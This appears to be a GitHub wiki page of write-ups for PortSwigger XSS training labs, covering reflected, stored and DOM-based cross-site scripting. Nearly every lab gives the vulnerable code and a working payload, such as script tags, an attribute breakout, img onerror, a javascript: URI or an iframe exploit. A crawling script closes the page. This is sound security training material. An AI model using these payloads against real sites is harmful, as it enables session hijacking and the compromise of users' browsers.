Skip to content

Cross site scripting (XSS)

Alnoman Kamil edited this page Nov 11, 2024 · 71 revisions

Apprentice lab:
Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search
functionality.
To solve the lab, perform a cross-site scripting attack that calls the alert function.

When clicking on Search we notice we have a ?search= parameter.
So by encapsulating alert(1) within script tags we pass the lab.

  • Url encoded, has been the default in the browser.
    /?search=<script>alert(1)</script>

Apprentice lab:
Reflected XSS into attribute with angle brackets HTML-encoded

  • Solution

    1. Use the search bar and type a alphanumeric value, i.e. test123.
    2. Use inspector with ⌘ ⌥ C and search with ⌘ F for test123.
    3. Analyse the code that test123 is found in.
      <form action=/ method=GET>
          <input type=text placeholder='Search the blog...' name=search value="test123">
          <button type=submit class=button>Search</button>
      </form>
      Notice test123 is enclosed inside parenthesis.
    4. Craft an XSS payload to escape parenthesis. Payload:
      "onmouseover="alert(1)

Apprentice lab:
Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is
viewed.

  • Simply make a comment
    <script>alert(1)</script>

NOTE:
Stored XSS is in the database so it will not be immediately visible.
So when viewing the blog post again alert(1) will be displayed.

Apprentice lab:
DOM XSS in document.write sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

  • Solution

    1. Do a random search i.e. test123.
    2. (Firefox) open inspector with ⌘ ⌥ C and use search with ⌘ F
    3. Craft XSS payload, based on js script.
  • Solution (second way)

    1. Do a random search query.
    2. Open Firefox's Debugger ⌘ ⌥ Z and use search ⌘ ⇧ F.
    3. Search for location.search. Observe the vulnerable code snippet.
      function trackSearch(query) {
      document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
      }
      var query = (new URLSearchParams(window.location.search)).get('search');
      if(query) {
          trackSearch(query);
      }
    4. Craft the XSS payload based on the code above.
      /?search="><script>alert(1)</script>

NOTE:
Use below for experimentation.

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Search Tracker</title>
    </head>
    <body>
        <form id="search-form" action="" method="get">
            <input type="text" name="search" placeholder="Enter search query" required>
            <button type="submit">Search</button>
        </form>
        <div id="message"></div>
        <script>
        function trackSearch(query) {
            document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
        }
        var query = (new URLSearchParams(window.location.search)).get('search');
        if(query) {
            trackSearch(query);
        }
        </script>
    </body>
</html>

Practitioner lab:
DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.
To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function

  • Solution (Video explaination)

    1. View a product and Check stock.
    2. Find a vulnerable script.
      var stores = ["London","Paris","Milan"];
      var store = (new URLSearchParams(window.location.search)).get('storeId');
      document.write('<select name="storeId">');
      if(store) {
          document.write('<option selected>'+store+'</option>');
      }
      for(var i=0;i<stores.length;i++) {
          if(stores[i] === store) {
              continue;
          }
          document.write('<option>'+stores[i]+'</option>');
      }
      document.write('</select>');
    3. Craft the XSS payload.
      /product?productId=1&storeId=</option><script>alert(1)</script>

NOTE:
Trying things out, and observing changes in the page, it's best for crafting XSS payloads.
In this case use Inspector ⌘ ⌥ C and search HTML ⌘ F.

Apprentice lab:
DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.
To solve this lab, perform a cross-site scripting attack that calls the alert function.

  • Solution

    1. Use the search functionality and search for script tags using the debugger.
    2. Vulnerable JavaScript.
      function doSearchQuery(query) {
          document.getElementById('searchMessage').innerHTML = query;
      }
      var query = (new URLSearchParams(window.location.search)).get('search');
      if(query) {
          doSearchQuery(query);
      }
    3. XSS payload.
      /?search=<img src=1337 onerror=alert(1)>

Apprentice lab:
DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.
To solve this lab, make the "back" link alert document.cookie.

  • Solution

    1. Use script.
    2. Vulnerable endpoint, and the code associated with it.
      https://uuid.web-security-academy.net/feedback?returnPath=/feedback
      <script>
          $(function() {
              $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
          });
      </script>
    3. Exploitation.
      /feedback?returnPath=javascript:alert(1)

NOTE:
Script does not work if lab requires to modify a sumbit paremeter.

Apprentice lab:
DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.
To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

  • Solution

    1. Run script and identify vulnerable code.
      $(window).on('hashchange', function(){
          var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
          if (post) post.get(0).scrollIntoView();
      });
    2. Go to exploit server and in the body, write the exploit.
      <iframe src="https://uuid.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print(1)>'">
    3. Click Store and Deliver exploit to victim.

Practitioner lab:
DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.
To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

  • Solution

Scripts

  • Fetch vulnerable code found inbetween script tags.
    Limitations: Does not work on parameters or input fields.
    Usage: fetch.sh https://uuid.web-security-academy.net/
    #!/bin/bash
    domains=$(echo "$1" | hakrawler | sort -u)
    for domain in $domains
    do
        echo "$domain"
        curl -s "$domain" | sed -n '/<script>/,/<\/script>/p'
    done
Clone this wiki locally